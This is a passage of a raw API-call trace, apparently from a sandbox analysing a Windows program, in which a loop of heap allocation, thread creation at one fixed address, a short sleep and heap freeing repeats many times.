hHeap=0x230000) returned 1 [0110.152] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0110.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158c [0110.152] Sleep (dwMilliseconds=0x32) [0110.234] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0110.234] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0110.235] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0110.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1580 [0110.236] Sleep (dwMilliseconds=0x32) [0110.345] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0110.345] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0110.345] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0110.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1590 [0110.346] Sleep (dwMilliseconds=0x32) [0110.454] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0110.455] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0110.455] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0110.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1560 [0110.455] Sleep (dwMilliseconds=0x32) [0110.547] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0110.547] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0110.547] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0110.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15a0 [0110.548] Sleep (dwMilliseconds=0x32) [0110.642] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0110.642] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0110.642] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0110.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154c [0110.643] Sleep (dwMilliseconds=0x32) [0110.736] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0110.736] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0110.736] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0110.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1550 [0110.737] Sleep (dwMilliseconds=0x32) [0110.809] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0110.809] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0110.809] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0110.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x194c [0110.809] Sleep (dwMilliseconds=0x32) [0110.890] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0110.890] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0110.891] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0110.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x198c [0110.891] Sleep (dwMilliseconds=0x32) [0110.985] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0110.985] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0110.985] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0110.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1984 [0110.986] Sleep (dwMilliseconds=0x32) [0111.068] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0111.068] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0111.068] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0111.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1934 [0111.069] Sleep (dwMilliseconds=0x32) [0111.156] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0111.156] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0111.156] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0111.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a4 [0111.156] Sleep (dwMilliseconds=0x32) [0111.253] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0111.253] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0111.253] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0111.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1930 [0111.254] Sleep (dwMilliseconds=0x32) [0111.343] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0111.343] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0111.343] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0111.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1918 [0111.344] Sleep (dwMilliseconds=0x32) [0111.451] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0111.451] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0111.452] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0111.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f8 [0111.452] Sleep (dwMilliseconds=0x32) [0111.545] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0111.545] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0111.545] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0111.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17fc [0111.546] Sleep (dwMilliseconds=0x32) [0111.639] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0111.639] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0111.639] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0111.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a60 [0111.639] Sleep (dwMilliseconds=0x32) [0111.727] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0111.727] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0111.727] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0111.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a58 [0111.728] Sleep (dwMilliseconds=0x32) [0111.810] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0111.810] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0111.810] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0111.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa8 [0111.811] Sleep (dwMilliseconds=0x32) [0111.904] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0111.904] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0111.904] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0111.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ad4 [0111.904] Sleep (dwMilliseconds=0x32) [0111.997] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0111.997] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0111.997] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0111.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1acc [0111.998] Sleep (dwMilliseconds=0x32) [0112.091] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0112.091] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0112.091] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0112.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af4 [0112.092] Sleep (dwMilliseconds=0x32) [0112.184] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0112.184] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0112.185] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0112.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b14 [0112.185] Sleep (dwMilliseconds=0x32) [0112.278] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0112.278] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0112.278] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0112.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b0c [0112.279] Sleep (dwMilliseconds=0x32) [0112.408] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0112.408] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0112.408] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0112.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b78 [0112.409] Sleep (dwMilliseconds=0x32) [0112.496] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0112.496] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0112.497] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0112.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x193c [0112.497] Sleep (dwMilliseconds=0x32) [0112.606] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0112.606] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0112.606] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0112.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b30 [0112.607] Sleep (dwMilliseconds=0x32) [0112.718] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0112.718] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0112.718] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0112.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a88 [0112.719] Sleep (dwMilliseconds=0x32) [0112.819] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0112.819] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0112.819] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0112.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b60 [0112.819] Sleep (dwMilliseconds=0x32) [0112.903] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0112.903] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0112.903] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0112.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b28 [0112.903] Sleep (dwMilliseconds=0x32) [0112.996] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0112.996] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0112.996] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0112.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a3c [0112.996] Sleep (dwMilliseconds=0x32) [0113.090] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0113.090] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0113.090] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0113.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a44 [0113.091] Sleep (dwMilliseconds=0x32) [0113.183] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0113.183] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0113.183] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0113.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b68 [0113.184] Sleep (dwMilliseconds=0x32) [0113.277] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0113.277] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0113.277] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0113.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b70 [0113.277] Sleep (dwMilliseconds=0x32) [0113.383] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0113.383] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0113.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0113.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a24 [0113.384] Sleep (dwMilliseconds=0x32) [0113.512] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0113.512] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0113.512] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0113.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18fc [0113.513] Sleep (dwMilliseconds=0x32) [0113.600] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0113.600] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0113.600] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0113.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f4 [0113.601] Sleep (dwMilliseconds=0x32) [0113.729] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0113.729] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0113.729] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0113.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d4 [0113.730] Sleep (dwMilliseconds=0x32) [0113.855] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0113.855] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0113.855] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0113.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18cc [0113.856] Sleep (dwMilliseconds=0x32) [0113.951] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0113.951] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0113.951] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0113.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a8 [0113.952] Sleep (dwMilliseconds=0x32) [0114.072] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0114.072] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0114.072] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0114.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a0 [0114.073] Sleep (dwMilliseconds=0x32) [0114.192] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0114.192] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0114.192] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0114.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1880 [0114.192] Sleep (dwMilliseconds=0x32) [0114.281] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0114.281] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0114.281] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0114.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1878 [0114.282] Sleep (dwMilliseconds=0x32) [0114.417] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0114.417] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0114.417] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0114.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1870 [0114.418] Sleep (dwMilliseconds=0x32) [0114.537] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0114.537] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0114.537] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0114.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x177c [0114.538] Sleep (dwMilliseconds=0x32) [0114.662] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0114.662] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0114.663] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0114.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1770 [0114.663] Sleep (dwMilliseconds=0x32) [0114.732] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0114.732] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0114.733] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0114.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc [0114.733] Sleep (dwMilliseconds=0x32) [0114.829] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0114.829] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0114.829] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0114.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388 [0114.830] Sleep (dwMilliseconds=0x32) [0114.981] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0114.981] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0114.981] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0114.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c [0114.982] Sleep (dwMilliseconds=0x32) [0115.102] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0115.102] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0115.102] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0115.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, 